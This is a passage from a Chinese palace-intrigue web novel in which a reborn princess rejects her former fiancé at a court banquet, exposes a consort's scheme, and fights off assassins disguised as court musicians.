“没有啊,公主,您容貌光彩耀眼,美丽极了呢!”
春桃不明所以的看了沈知微一眼,给出肯定的答复。
这让沈知微更迷惑了,她走着走着,走到了一个儿郎面前,那个儿郎见着沈知微来了有些紧张,连忙躬身敛袍打算退到一边去。
沈知微定眼一瞧,是新科探花孙翼,他前世就是沈知微的谋士,生性胆小内敛,但极为聪慧,前世得知沈知微一心为国后,义无反顾跟随沈知微到身死,都未曾有怨言。
沈知微见他自然亲切,连忙三步并作两步走了上去,轻唤道。
“探花郎,本宫
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是什么大妖怪么?怎么见的本宫就要躲呢?”
沈知微说着这话,绽放了一个大大的笑脸。
孙翼听的,身形生生的定住了,而后转过身来,看向沈知微,想也是被沈知微的美貌所惊艳,半晌才开口。
“没有……没有……下官衣着贫寒……怕碍着公主的眼。”
哦,对,孙翼考上探花前,家里就靠他平日给人抄字帖,母亲给人浆洗衣裳度日,考上探花后,为人又极为清廉,就连现在这宫宴之上,沈知微都能瞧见孙翼除了外层套的那件官服是锦缎织的外,内里衬的衣物都十分破旧,泛起了线头毛边。
沈知微思虑片刻,随手指了指身边一只梅花。
“孙大人可知,这梅花为何偏在苦寒时开得最盛?”
孙翼怔然摇头。
沈知微指尖拈起一朵梅,雪瓣落在孙翼洗旧的袖口。
“正因它经霜不凋、沁雪愈香,才被称作‘花中君子’。你道满朝朱紫,谁的内衫没藏过补丁?——前朝林阁老入仕前,一件棉袍穿十年,冬夜写字呵气成冰,却批出了《漕运疏》,活民万千。”
沈知微上前两步忽然倾身,压低嗓音轻述在孙翼耳边。
“本宫倒觉得……你这般从泥里挣出来的人,才最懂百姓要什么。”
孙翼心下大动,他一直对自己贫寒出身心有芥蒂,读书时,也没少被同窗嘲讽必然不会有什么大出息的,可眼前的贵人、天下身份最高贵的天家公主却告诉他,当年被称为百官标杆,以清正写入史册的林阁老与他一样出身,怎么能让他不感动呢。
“下官谨遵教诲!以后必当以、必当以、以……”
孙翼正在叩谢沈知微时,突然也像卡壳一样,一句话重复两三遍。
“嗯?怎么了这是……?”
这已经是今天第六次了!
沈知微心里的疑惑达到了顶峰,明明都和这些人才聊的好好的,怎么都这般突然……
“公……公主……您……您……帮臣问一问,臣……臣……哪里得罪萧大人了……萧、萧、萧大人……他……”
孙翼到底有骨气,没学着其他几个吓得早就跑没影了,一言点出了问题的关键。
沈知微不是傻的,心中瞬间明白了什么,立刻闪电般的回头。
只见御花园另一头,梅树之下,萧景珩一手举着长刀,目光凶狠如恶狼般的瞪着孙翼,脚边是他斩落的梅花枝桠。
萧景珩也大概是没想到孙翼会提点沈知微,脸上的表情还没来的及收回,目光对上了沈知微,他想回头却已经来不及了。
两人四目相对。
某位在边疆享有盛名,甚至可以止夷狄小儿夜啼的少帅,立刻还刀入鞘,急忙转身,看样子是要逃开沈知微的目光里了。
但沈知微怎么可能给他这个机会呢?
只听得沈知微像是咬紧牙关一般开口道。
“萧景珩,你给本宫站住!”
5. 宫斗
说实话,沈知微是没想过自己一句话能喝住萧景珩的。
她清楚的记得,不论是未来位及人臣、和自己不死不休的萧昭武王也好,还是现在时间点清冷端方的玄甲军萧少帅也好,对她都是冷冷淡淡,爱理不睬的。
所以吼出刚才那句话后,沈知微已经做好了要冲过去拉住要走的萧景珩的准备。
但,没想到萧景珩真的站住了,如一座山,远立在沈知微面前。
沈知微愣了楞,可这是件小事,她也没往心里去,依然快步走了过去,站在萧景珩的面前。
“萧少帅,今日不是戍卫宫宴么?怎的,是这梅花树修的千年功法,还是那座太湖石的假山上有百年的蛇妖,本宫一路看来,再让萧少帅多戍卫宫宴一会儿,这御花园内怕也是剩不下什么了吧!”
“……”
萧景珩低头看向沈知微娇嫩的容颜,他比沈知微高上一个肩膀,就算两人此时身躯还在少年,沈知微在他眼里都是小小的,让人有种伸出手去将她揽入怀的欲望。
可……到底萧景珩还是忍住,他清楚的知道此时自己的人设是什么。
少年时的他,清冷端方,心中全是家国天下,耳中只愿听圣人之言,当年沈知微绕着他转的时候,他甚至连个眼神都懒得给她。
可现在……
如果上天允许的话,他真想狠狠扇少年时的自己一个耳光!
“……下臣戍卫宫宴,刚才在梅树假山上见的几只彩蝶……臣记得皇后娘娘素有喉炎,鳞粉对她身体不利,下臣戍卫宫宴,自然要以贵人身体康健为优先。”
“萧少帅,现在寒梅正艳,您见的的那几只彩蝶,怕真是千年的妖仙了吧!”
沈知微凤眸轻挑,里面清光流转饶有兴趣的看向萧景珩,她心中也是起了些许疑惑,今天的萧景珩和她记忆中多少有些不一样呢……莫非是……
沈知微目光中狐疑顿起,看的萧景珩心中一紧。
他本就不擅长花言巧语,刚才沈知微跑来,他又看的沈知微出神,胡口乱凑的理由,是真被沈知微发现了么?
萧景珩握紧手里的佩刀,心都被提到嗓子眼了,他发誓他当初面临敌酋向他挥来的□□时都没这么心跳过。
“萧景珩,你是不是听到什么……本宫与父皇所说的话……”
呼!
好险!
萧景珩心算落回肚子里了,也是的,重生这种事发生在自己身上都有些难以置信,任何一个神智清醒的人首先都不会怀疑这件事的。
“是的,下臣不明白,公主为何要退婚,这是为了大胤最好的方式,对天下苍生最好的交代了。”
说完这话,他要紧唇舌,他清楚是自己一万个不想和沈知微分开,但,现在只能假借家国名号才能勉强留住他和沈知微的一丝联系而已。
“大胤没有那么软弱,天下苍生的福祉也不该挂在一个婚约之上,本宫听过盛世是打出来的、是天下臣民一同缔造的,没听过哪个盛世是靠女儿结亲结出来的。
况且,萧少帅,这些年您对我也是清冷不喜的,萧家世代为本朝戍守边关,本宫禀报父皇为萧少帅再择良缘也是为了您、和您背后的萧家考虑。
此后,山高水长,以前的旧事便不要再放在心间了!”
沈知微福身回了个礼,然后便转身离开,心中只道是萧景珩刚才的做派是少年傲气,被自己甩了,所以见不得自己好呢!
可不知的是萧景珩顿在原地好久好久,等沈知微走远了,他才轻喝一声。
“影子!”
从御花园阴影处突然冒出一个身影,那是自幼跟在萧景珩身边的暗卫,对他极为忠诚。
“你去拿十件锦袍送到那个孙探花府上去……”
“是!主子。
但……臣记得,那个孙探花清正廉洁,不会收圣上赏赐以外其他贵人给的东西的……”
“无妨,你告诉他,我送他锦袍不求他回报我什么,只有一条,下次他再敢穿着那般破破烂烂出现在长……宫里贵人面前,下次我再送他锦袍就是给他烧了去!”
影子一听,愣住了,他原先以为自家主子是想拉拢这新科探花呢,这一听言语,好像也不是拉拢,那威胁的口吻尽露无遗,他偷眼瞧去,只见的自家主子定定的看着一个方向一动不动,而那边是……
哦!
原来如此啊!
影子心里偷笑了一声,立刻拜受领命而去。
——
“公主……公主……您和萧少帅是……怎么了?”
春桃心大,但是也察觉出两人之间的不对劲了。
“无妨,只是给他说了清楚,以后一别两宽……”
后面半句沈知微没说出口,要是萧景珩此生再挡她的路,她不介意让萧景珩从一别两宽,变成身首两端。
春桃不明所以,只得苦着脸挠着头,自家公主前些日子里还追着萧景珩火热呢,今儿个……果然宫里老人说双十年华的女儿家心思最难猜,大约就是这个理吧。
春桃想着也不敢多问,扶着沈知微坐到了座椅上,闹了这么一出,宫宴也将将到了开始的时间了。
宫宴上,京中勋贵、新科进士、将士们都举起酒杯一同祝着嘉和帝万寿无疆,嘉和帝也含笑回敬了一杯酒。
正在此时,只听“叮铃铃”一阵环佩乱响的声音,一个女声从远至近笑语彦彦的响起。
“哎呀,阿昙,快些来,快些来,这宴席都开始,咱们可不能落在了后头!”
这女声声音高昂尖利,似要把在场人的目光都集到她身上一般,尾音拖得极长。
沈知微没有抬头,捏起一枚蜜饯轻轻含到嘴里,她知道是李贵妃携着她的好大儿五皇子沈昭景要登场了。
果不其然,李贵妃一来,甚至都没等嘉和帝下令,便快步挤到了离嘉和帝最近的后妃位置上去,如若不是皇后的凤座那边贴着有宝鉴,李贵妃怕是直接打算坐到那上面去了。
“这熏香怎得烧的这般让人嗓子疼呢!哼,是下面人不知哪儿找的堆了不知多少年的阴湿货吧……内务府也学会看人下菜了!”
李贵妃甫一坐下,竖起食指就开始挑剔
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桌上她能见着的所有东西,只听的好脾气的嘉和帝,皱眉连连。
“这瓜果……”
李贵妃还打算继续说些什么。
“爱妃慎言!”
嘉和帝算是再也忍不住了,出言打断,这才堵了李贵妃的嘴,让这宫宴继续下去。
与李贵妃吵闹不同,随着她走进来的五皇子沈昭景却是另一个画风。
只见他头戴玉冠,宽袍缓带,身上不着任何金饰,唯有手中攥着一串檀木佛珠,脸上也是谦和笑意,端看过去不像是皇子,倒像是什么名山大川里经年修行的大德居士呢!
“儿臣来迟,请父皇恕罪,方才在佛堂为父皇诵经祈福,一时忘了时辰,实在不该。
今日父皇圣寿,诸位大人远道而来,昭景未能远迎,实在失礼,愿诸位尽兴,共贺我大胤千秋盛世。”
一番话礼数周全至极,原本被李贵妃弄得面色难堪的嘉和帝也一边摸了摸胡子含笑点头,连连招手让沈昭景快些坐下。
——
“哇!公主、公主,五皇子还是那么温和风度,真不知那李贵妃怎么生的出这般好儿子来!”
春桃一边给沈知微倒茶,一边偷摸着看向沈昭景,沈昭景似乎是察觉到她的目光,对着春桃微微一笑,春风和煦。
春桃立刻羞得低下了头颅。
“是了,你瞧瞧佛堂里供的菩萨,不也是金身么,只是里面……哼……”
沈知微可是记得别看她这五哥一脸清心寡欲、与世无争的模样,可谁曾想他在他常去的佛堂里藏了十数个美娇娘呢。
起先沈知微也是不知是直到她当权时候才勘破这个五哥真正的心肠的,佛口蛇心,说的就是这般人。
但……这些话儿,沈知微是不能说与周边人知晓的,只能略微提点一句,便含笑抿下一口茶了。
春桃挠挠头,歪着头想了一下,她总觉得沈知微话里有话,却不明所以,只好又继续帮沈知微递了几番茶水。
——
宴会继续进行,刚才祝完酒,会场气氛更加浓烈。
消停了一会儿的,李贵妃便不安分了,她扶了扶额上的东珠发簪,似是想让人看的更清楚一下,开口笑道。
“哎呀,我家阿昙阿,早早就为了圣上您的寿宴备上了厚礼呢,心急着想送到圣上您面前。
噫~姐姐?姐姐怎么没出现,哎呀,想必是姐姐喉炎又犯了,知着今日热闹,怕又惊着凤体,所以才打算‘压轴’呢~”
一句平平常常的话儿,任何人都听不出奇怪来,但只有沈知微知道。
李贵妃看似咋咋呼呼、没心没肺的做派,说的话却是多么藏着毒针利剑。
一句“惊着凤体”,一句“压轴”何尝不是打算把自己母后来迟的事情和等会的“大戏”联系在一起么?
不过……
一个清朗的少年声伴着银铃的脆响响了起来。
“来了!来了!父皇,儿臣带着母后到了!”
沈知微轻轻一笑,再来一世,这些手段她怎么可能还让李贵妃她们得逞呢!?
6. 暗潮
“皇后,怎的今日迟了些……”
嘉和帝对他这位结发皇后还是很有情谊的,说着话间尽从席上走下来,欲拉起皇后温静徽的手。
但皇后却退了一步,福了福身子,悄无声息的避开了嘉和帝的手,连身上的禁步都没发出一丝声响。
“你啊,你啊,还是这般守礼。”
嘉和帝有些尴尬,笑了笑,语气中没有一丝怒气,他深知自家这位皇后,人如其名取自女诫中的"清闲贞静,守节整齐",不爱出风头,所以在这种人多的场合,也是恪守女诫,"外言不入于阃,内言不出于阃"。
然,就算是皇后为避人眼热,已然做到这份上,也少不得人怪话。
“哟,还是姐姐排场大呢~非得陛下亲迎才出现,否则啊,妹妹怕是这宫宴结束都见不到姐姐的人影呢~”
李贵妃捻起颗葡萄,故意晃了晃,然后用长长的护甲捏碎,紫红色的浆液流出,她也不吃,就放在指尖把玩,仿佛她刚才捏的是颗眼珠儿一般。
“你说什么呢!母后刚才是、刚才是……”
“阿翎,贵妃娘娘是你长辈,怎可如此同她说话!”
沈昭临到底年轻,一听见李贵妃不阴不阳的语气,瞬间炸毛了,要上去和李贵妃理论理论,却被皇后按住手脚,让他慎言。
坐在李贵妃身旁的沈知微见的这一幕,不由得轻摇起头,前世母亲就是这样,被礼教规训到脑子里去了,一直以为做得个恭顺贤妻便能维护得了宫内安泰,家国和谐……
可是呢?
你不争,有的是人争!
进的这宫门来,男子有哪个不想位及人臣,女子又有哪个不想坐母亲那个凤位呢?
这些话,沈知微是不可能说给自己母后听的,她知道她不懂,也很难理解,甚至如是知道沈知微打算做的事情,说不定还会阻止她呢……
但,为了家人,沈知微在所不惜!
“父皇,父皇,您要不要端杯水儿给母后啊,母后手腕脏脏的~”
沈知微眨巴着大眼睛,一派天真无邪。
众人听的沈知微的口吻,不约而同的向温静徽手腕那看去,只见温静徽凤袍的袖口黑扑扑的……
温静徽见的众人目光,立刻想把手藏到身后去,嘉和帝却目色深沉,一把抓住温静徽的手,仔细端详了一下,才开口问道。
“贞儿,你这是……怎么烧伤的……”
“回禀父皇,刚才我和母后路过万寿宫那边的时候,有几个小宫女在扑灭火烛,不慎点燃了供桌,母后心善站在那边儿指挥火师,临到看得烟全灭了,才赶过来的!”
听的此话,在场所有人都纷纷看向了温静徽,却发现她额发焦卷、身上还有好几处烧伤的位置。
嘉和帝见的心疼,忙用手拂过温静徽的额发,一派帝后和谐。
这时,坐在文官之首的苏太傅站起身来,举杯说道。
“皇后不愧为天下女子的表率,体恤下人,身临火险,做事细心周全,直到火烛全熄灭才离开,真是我大胤之福啊!”
“是的,是的,常言道妻贤夫少祸,有如此贤后,实乃陛下之福、我大胤之福啊!”
真是机灵啊!
沈知微坐在上首看着一个二个大臣见的嘉和帝心疼温静徽的画面立刻犹如雨后春笋一般冒出来赞颂皇后仁德……
沈知微心里清楚无比,都不知道有几个真心,几个假意罢了。
——
就在沈知微悠闲的品着掌中果酒,看的自己父母美满融融的画面的时候。
有个人不淡定了。
那就是李贵妃,本来她嫉妒心就强,加之她身家背景又显赫无比,她父亲是当朝丞相,祖父是历经大胤三朝入得皇陵的股肱重臣,所以她一直觉得这皇后之位应该是自己的,是杯温静徽抢去了!
见的这一幕,李贵妃更觉的扎眼。
“真能装,温温柔柔,不言不语,哼,一副狐媚子像……看什么看,说你呢!新进的宫,就穿的这么素勾引谁呢!?”
说着话间,李贵妃随手掐了身侧一个新进宫的小妃子,她肚里有气又不敢当着现在正和嘉和帝帝后融融的温静徽发,只得找个倒霉蛋掐上一把消消气了。
“唔……”
那小妃子位份极低,只是个采女,连哭都不敢哭出声来,只得咬着下唇,一双妙目疼的眼泪珠直转。
“娘娘,住手!”
正当李贵妃掐的解气的时候,沈知微瞧见了,她虽不自认救苦救难的慈悲心肠,但却也见不得这种恃强凌弱的把戏。
“怎么,长公主今日也要给这狐媚子说话?呵……”
李贵妃冷笑了一下,双目刀锋似的刮过沈知微面庞,心里满是不屑。
毕竟嘛,在这个时间点的沈知微在所有人眼里都是个不谙世事的小姑娘,每天做的最多的事情就是围着萧景珩“哥哥”、“哥哥”的叫着名字。
李贵妃还是有十足把握拿捏的。
却不想,沈知微不闪不比,将李贵妃挑衅的目光迎了回去,却没像沈昭临一般大吼大叫,反而嫣然一笑。
但,就是这一笑让李贵妃莫名发毛起来……
“娘娘这话儿说的,您也好,这位采女姐姐也好,按礼制都是我的长辈呢,我哪敢偏帮谁呢~不过刚才我叫阿翎去接母后的时候走的是御花园东边那条道儿,我记得那边能供奉火烛的是万寿殿吧,噫,哎呀,可能是我记性不好,今日万寿殿当值的宫女好像是……好像是锦……”
沈知微捂住脑袋,装作分离思索的样子,就是不肯把那个名字吐出来,故意把“锦”字在嘴里绕了又绕……
李贵妃脸色瞬间煞白,现正值年末,节日、宴席又多,所以各宫人手不足,前日子里温静徽曾下令,各宫不忙的时候,需差遣各宫闲散宫人到附近宫殿当值……
而离万寿宫最近的就是她的锦熙宫了……
原本就是她设计让自己宫女在万寿宫弄点小动作拖延皇后脚步的,没曾想这点小事情居然还有人记得住,还是自己要陷害人的女儿,这要是告到皇上那里去……
李贵妃不敢再想了,她掐着那小采女的手也垂了下来,立刻连退了几步跌坐回自己位子中间。
那小采
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女如蒙大赦,立刻跑到沈知微面前,低着头泪盈盈的说着“谢、谢谢……”然后立刻就跑不见了。
“真可怜啊,主子,那个小主儿的手臂都被贵妃娘娘掐肿了一大块呢!”
春桃看着那个小采女的背影,轻声感叹到。
沈知微笑了笑也坐回原位,她刚才说这句话一来是解救那个小采女,二来是提点李贵妃,让她收敛一点,倒也不是沈知微不想置李贵妃于死地,只是她现在还没确实证据,而且这么蠢、留下这么大纰漏的手段也只有李贵妃用的出来,她从不把李贵妃放在心上,她担心的是……
沈知微妙目轻转,若有似无的撇到一旁皇子们的坐席那边,却不想,正对上一双含笑的宛如狐狸般的目光。
五皇子沈昭景也在看着她!
哦,是了,她倒是有些忘了,别看她这五哥一天吃斋念佛与世无争的样子,手底下的功夫可也不小呢,她曾在当权的时候派出十个刺客暗杀过沈昭景,被沈昭景搏杀3个,剩下7个么……被那脑子不清楚的傻货给杀了!
想到这里,沈知微有些来气,她偷摸看了一眼那个“傻货”今天应该在的位置,却发现原本萧景珩应该戍卫宫宴的位置上没人,沈知微有些疑惑,她记忆中萧景珩当初是一动不动跟根石柱一样在那里待到后来刺杀事件发生的呢……?
算了,估计是被自己退婚的事儿打击了,找地方散心去了吧!
沈知微甩甩头,似乎是想把萧景珩的名字甩出去,最后把自己甩失忆了为好。
这时,她又发现沈昭景突然站起身来离开自己的座位向帷幕后面走去,不多时又走了回来,然后展开折扇,笑意盈盈的和自己身边的其他兄弟们打着趣,就连沈昭临那个傻小子都被沈昭景逗的哈哈大笑,一边叫着“五哥”、“五哥”的往沈昭景身边凑,全然忘记了他是李贵妃的儿子似的。
只不过……
沈知微看了看,忽然发现一丝疑点。
刚才沈昭景手里的是这把扇子么……
沈知微定眼瞧去,原本绘着泼墨山水的折扇依然换成了一把画着钟馗捉鬼的图画。
图中的钟馗爷一手擎着七星剑,另一只手抓着缚鬼铁索,只不过拿铁索构成了一副网状紧紧缚住小鬼的脖颈,十分生动,也十分可怖。
沈知微心下更是大疑,虽说沈昭景平日里参禅礼佛,但性子小心谨慎又低调至极和他那母妃正好相反,他不会不知道这个图画是不适合宫宴,甚至不适合在人多的时候展露在人前的。
沈知微眼珠儿一动,心里突然提紧了,她忙唤过春桃,从怀里掏出一方手帕,着令她快些去交给她事先安排好的宫监。
就在春桃影儿刚没出宫宴帐外的时候。
一个喑哑的声音响起了。
“奴是司乐坊乐工之首!
正值佳节,特来向皇上及诸位亲故大臣献上一曲霓裳羽衣曲,恭祝我大胤如盛唐一般强盛光耀,四方来朝!”
听着这话,沈知微心立刻提到了嗓子眼!
在场所有人只有她知道!
不好!
刺杀提前了!
7. 生变
在场其他人却浑然不觉。
嘉和帝还沉浸在和自家皇后其乐融融的氛围里,他一边说着小话,一边拉着温静徽坐回位置去。
沈知微面色凝重,自己布置的伏兵不知道好还是不好,如果有个万一……
“阿翎,你上来!”
“啊?啊……哦,好的,阿姐!”
沈知微语气一下子冷了许多,把还在那边和沈昭景打趣,把两只手指比在头上学大角鹿的沈昭临吓的蒙了一下,立刻讷讷的回了一句话,就随着沈知微走到她的位置这边。
“待会,你只要看见任何情况就往东边跑,记住,不管什么情况,都不准回头,跑出御花园,跑到咸福宫那边就安全了。”
“啊?为什么啊……额,好、好、我知道了,我知道了……”
沈昭临摸摸自己的脑袋,还想问什么,只是一瞧见沈知微的眼神语气就弱了下去,越说越小声,但是他最关心沈知微,就算被沈知微吓的都快说不囫囵话了,犹豫片刻,沈昭临还是吐出一句来。
“阿姐,可是,要是我跑了,你……你怎么办,还有、还有父皇母后怎么办?”
“我自有办法,我还活着一日,定不让人伤害到父皇母后!这点你放心便是!”
沈知微语气清冷,却坚定无比,甚至有种让人信服的力量,沈昭临恍惚了一下,他仿佛在自家姐姐身上看见了父皇呢……
所以,最后沈昭临只得乖乖的点点头,然后被沈知微按在她的位置上面。
而,沈知微呢,她敛起裙角走上放置着嘉和帝的龙椅和母后凤位的台阶上去了。
“你这丫头怎么来了?”
嘉和帝笑吟吟的看着沈知微走近捏起一颗蜜饯递给沈知微。
“唔……唔……人家好久没和父皇母后坐在一起说话了,就、就……”
说着这甜甜腻腻的小女儿口气,沈知微双膝一软,坐到台阶上,手扯着温静徽的裙角开始撒娇起来。
“唉,你这孩子多大的人了,怎么就……于理不合、于理不合,快些站起来,站到母后身边来……”
听到这话,沈知微脸上甜甜笑了起来,身子却依着母亲,挡在母亲面前。
沈知微已经想好了,就算自己出事,也不能让母后和父皇损伤一点……这是她为人子女应该尽,但当年却没有尽的孝心,而后岁月里也都成了沈知微的心结,直到沈昭临被萧景珩所杀,那一天、那一刻,沈知微觉得天地冰凉,独留她一人的刺骨之感比后来被鸩杀还要痛彻她心扉许多。
想到这儿,沈知微抓着母亲的衣角手更紧了,更不愿放开了。
“好了,好了,你们母女两说些什么闺房话呢,都不准朕听了,为父可是要生气了哦!
快些看表演,快些看表演,这霓裳羽衣可是司乐坊的拿手杰作,平日宴会都难得一见,今日也不知他们怎么如此有兴致居然献上这一曲了,快些坐好听吧!”
听到这话,沈知微脸上甜甜笑了起来,立刻从地上蹦起,坐到温静徽身边去,然后身子紧依着母亲,大半个身子都挡在母亲面前。
沈知微已经想好了,就算自己出事,也不能让母后和父皇损伤一点……这是她为人子女应该尽,但当年却没有尽的孝心,而后岁月里也都成了沈知微的心结,直到沈昭临被萧景珩所杀,那一天、那一刻,沈知微只觉得天地冰凉,那种天地孑然,独留她一人的刺骨之感比后来被鸩杀还要痛彻她心扉许多。”
想到这儿,沈知微抓着母亲的衣角手更紧了,更不愿放开了。
“好了,好了,你们母女两说些什么闺房话呢,都不准朕听了,为父可是要生气了哦!
快些看表演,快些看表演,这霓裳羽衣可是司乐坊的拿手杰作,平日宴会都难得一见,今日也不知他们怎么如此有兴致居然献上这一曲了,快些坐好听吧!”
嘉和帝佯装有点吃母女两的醋意说道。
而后拍了拍沈知微的肩膀叫她坐直了身子,转头听曲去了。
沈知微眨了眨眼眸,脸上还是笑意盈盈的和自家母后说着无关紧要的私房话,但眼、耳却不敢离开会场一点。
她虽记得今日有刺杀,但是当时她年纪太小了,只记得刺杀发生后火海一片,自己被吓晕在当场,等她醒来,事情虽然结束母后依然被父皇责怪,还生了一场大病,九死还生,好不容易才捡回一条命来,但也落下了病根,后来母后去世也和这场刺杀息息相关。
所以沈知微不敢放过一点,她现在已经有足够的勇气和见识来保护家人了,她不想、也不愿这种事情再发生在自己亲人身上一点!
——
……噫?
这是……
沈知微听着曲儿,脸色瞬间一变。
不对,这不是霓裳羽衣曲,而是……
“父皇!这不是霓裳羽衣曲!是霓裳中序!”
“这……两者有何区别,朕没听出来,许是你听错了吧!?”
嘉和帝向来崇尚节俭,不喜游乐,对这些乐曲的了解也就是泛泛而已,在他听来这两者并无二致,完全没什么区别,所以皱着眉头看向沈知微。
沈知微却默然了,前世自从父皇死后,独掌大权多年,由于女子之身,起初还有一堆大臣不服于她,甚至处处诋毁,甚至暗杀。
沈知微就这样一步一步的从荆棘烈火踏过来,为了亲近喜好风雅的贤士,她勉力去了解雅乐、茶酒,为了笼络武将,将朝中武家勋贵的履历、军功等都悉数了然于心,甚至到了后来她甚至能和他们畅谈宝刀名剑、名马美人。
到后来,朝中支持她的人居然能和握有十万玄甲军的萧景珩、沈昭景分庭抗礼了。
可是谁又记得沈知微最开始只是个懵懵懂懂,什么都不知道,只会跟着萧景珩屁股转的小女孩呢?
所以今日沈知微一听这乐曲立刻分明出来了。
但,正因如此,沈知微的表情更加浓重,因为在场可能没有谁比她更清楚这首曲子里潜藏了多少杀机。
霓裳中序,传说最早来源于唐玄宗梦游仙宫所得,但后来安史之乱遗失大半乐章,甚为不祥,后世几乎暗讽此曲为亡国之音。
后宋代姜夔收集残章,又汇通霓裳羽衣一同编制,重又得此曲,然终宋一代,家国动乱,又给此曲平添了几分恶名。<
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由于霓裳中序和霓裳羽衣来源相近,所以初听两者并无二至,甚至霓裳中序更加柔美,飘渺,初曲之时,由凤萧和鸣,意喻当年唐玄宗梦游仙宫的心境。
但至中曲曲风就大相径庭,许是象征着安史之乱,许是姜夔想到宋代家国动乱,其中用了大量的羯鼓,曲风由此变得激烈无比。
而至高潮时,二十五弦瑟齐鸣声音高亢直冲云霄,甚至要压过前段的羯鼓之声,来意味着亢奋勇进之意。
……从乐理来说,有张有驰甚是完美,但,对历尽无数次暗杀的沈知微来说,她立刻就明白了,那些“有心人”选这首曲子的用意。
沈知微凝神静听而去,果不其然。
前段和缓的凤萧里有细细碎碎的声音,而在场的臣工,乃至她的父皇母后都沉醉在美妙的乐曲之中。
沈知微想拉他们,他们摆摆手,置若罔闻,甚至让沈知微安心坐下听曲。
而后,羯鼓顿起,密密麻麻的鼓点如急雨落下,在场众人听的饶有趣味,只有沈知微听出那里面不止是鼓点,还有急促的脚步声音。
来不及了!
沈知微听到这里,顾不得许多,立刻站了起来。
可!
他们更快!
那些刺客更快!
主奏的乐师,是司乐坊第一。
他一直抱着胡琴原随着乐曲咿呀吟唱,突然加快曲调,似乎要跳过这一段般演奏起。
“噫……这曲子好像不是霓裳羽衣曲吧……”
嘉和帝算是缓过神来,他奇怪的问了一句身边的皇后,皇后遵守古礼女诫平日里也不喜这些宫乐,认为奢华浪费,但贵族家儿女应有的教养还是有的。
温静徽道。
“好像是的……怎么突然这般快了……”
忽然那乐师张口。
“琼楼玉宇终黄土!犹堕人间觅旧痕!”
这是原曲词儿,但是用在这里既不符合乐曲节奏,也不符合宴会氛围!
嘉和帝才刚一皱眉。
乐师琴弦随着弦瑟共鸣,只听“嘣”的一声断裂。
那乐师突然跃起,胡琴里居然掏出三尺长刺,直向嘉和帝和温静徽刺去。
同时,宫宴四处起火。
这些原本平日里说话温吞儒雅的勋贵、文士们,纷纷发出杀猪般的叫声。
倒是武将们见惯大场面,他们纷纷喊出了。
“护驾!护驾!”
可是来不及了!
嘉和帝的座位离下方实在太远,最近的卫士都离的远,而那刺客依然跃到嘉和帝面前。
台上就只有年老的嘉和帝、吓得脸色苍白的皇后温静徽,还有那个天真不知世事的公……嗯?公、公、公主!
众人眼前突然一抹略带粉色的身影快速越过。
只见沈知微,居然冲出来挡在了嘉和帝和温静徽面前。
可……可她一个小姑娘又能做什么呢,她身上连武器都没有!
正当所有人都以为沈知微要被捅个透心凉的时候。
忽然,就在众人眼前,一丈黄幔忽地在众人眼前腾了起来。
8. 唇语
“那是……桌、桌布?”
虽然酒宴过半,大部分朝臣已然有些微醺晕厥,但仍有眼尖的人认了出来,沈知微居然拿块桌布去对那个刺客?
那刺客手里的可是寒光灿灿的宝剑呢!
难道那个娇娇弱弱的长公主要拿一块桌布和训练有素刺客敌对吗?
有些胆子小的都吓得闭上了眼睛。
可出乎所有人意料的是,沈知微居然真的靠那块桌布缚住了刺客手里的宝剑,然后扭了几圈定在御桌之上了。
而那刺客挣扎了两下,手里刚才寒光四溢的宝剑居然劈不开。
沈知微见得此景,心里更是沉着。
因为她记得曾几何时有人告诉她,沾了酒水的湿布裹成长棍,在武学里有个别名叫“软杖”,稍微细一点或者薄一点的软剑都不容易劈开这种“软杖”。
所以刚才情急危险,沈知微不得不用上这个方法。
可是……到底是谁给她说的呢?
她一时有些记不清楚了,只记得是个低哑深沉的男声。
生死关头,她也无瑕想这些了!
那边刺客被沈知微缠住也是心急,挣脱了半天却怎么也挣脱不开那软杖的桎梏。
突然!
那刺客从怀中掏出一枚骨哨来。
“滴————!!!!”
只听一声短促的哨声骤然响起,然后突然间皇帐外火光四起,同时冲进来一群蒙着面,穿着黑衣的刺客。
一看宫宴居然涌进这么多刺客,原本反应过来打算上前的很多朝臣,都吓得顿住了脚,毕竟这些刺客手里可是亮晃晃的马刀和宝剑啊,他们参加宫宴可没一个人带武器的!
“这些人哪里来的!刚才!刚才侍卫们没有发觉吗?”
见此情景,嘉和帝一向沉稳的脸上也露出震惊的表情,他实在没想到这么多刺客是怎么绕过皇宫层层叠叠的守卫出现在他眼前的。
“是……是是刚才的霓裳曲……对不对……知微……对不对……”
温静徽立刻反应过来了,看了一眼沈知微。
沈知微点点头,没有回头,小脸憋的通红,几乎全身力气都在和眼前的刺客僵持了。
没办法,虽然她前世在理政之后为防暗杀,也请手下的武将教导过自己武艺,但水平堪堪可以自保,而现在她这副身体还是那个天真烂漫,不理世事的小公主,根本没有锻炼一点……
此时靠着桌布旋转和卸力,堪堪能和刺客僵持住,已经是她使出的最大的劲力了。
在场所有人听闻此言瞬间恍然大悟起来。
原来、原来刚才乐曲中急促鼓点、突然加速的高潮全是为了掩护这些刺客潜入的!
在场朝臣们现下的心情都是又羞又惊,羞的是他们居然没一人发现这般端倪,更是在此危急之际,没有任何一人敢上前。
惊的是他们记忆里那个傻乎乎的长公主居然有如此伶俐勇敢的一面!
就在那些刺客如潮水正打算冲上台阶,去帮忙那个乐师刺客的时候。
“护驾!护驾!”
人群里一个青年的声音突然响起。
所有人回头一看,正是那个周峥喊出的。
这小子的确不亏“愣头青”的美名,其他文臣武将都因为参加宫宴未带任何武器,又被突然侵入的刺客吓呆在原地的时候,只有这小子居然凭着一腔血勇,抡起身边的红木凳子,往身边的刺客砸了过去。
周峥看着其他人还在愣神,啐了一口道。
“你们一个个八尺男儿,站在这里看着一个小姑娘迎敌难道不羞愧吗?”
这声怒吼,一下子点燃了在场朝臣们的热血。
没有武器又怎么样……人家长公主一个小姑娘还不是敢用块桌布和那些刺客缠斗吗?
想到这里,在场的朝臣们纷纷拿起身边的家伙什,强壮的武将抡起的是大件的桌椅板凳、文弱一些的文臣勋贵有些举着花瓶,有些抱起酒杯纷纷向那些刺客袭去。
那些刺客此时也大惊失色,这种刺杀本讲究的就是一个突袭,人数远没有在场的朝臣勋贵们多,这些朝臣一下被激得奋起,居然将这帮刺客吓得连连退步去。
“不好!撒!”
那在台上和沈知微僵持的刺客乐师,瞬间脸色大变,眼见着这场刺杀就要失败在眼前。
他忽然爆喝一声,穿着着翘尖马鞋的脚突然踢起什么东西往沈知微的面上袭去!
沈知微本能的一歪头。
那刺客立刻得到空隙,撒开和沈知微僵持的手,袖筒里露出一把极短极细的短剑。
“微儿!”
“知微!”
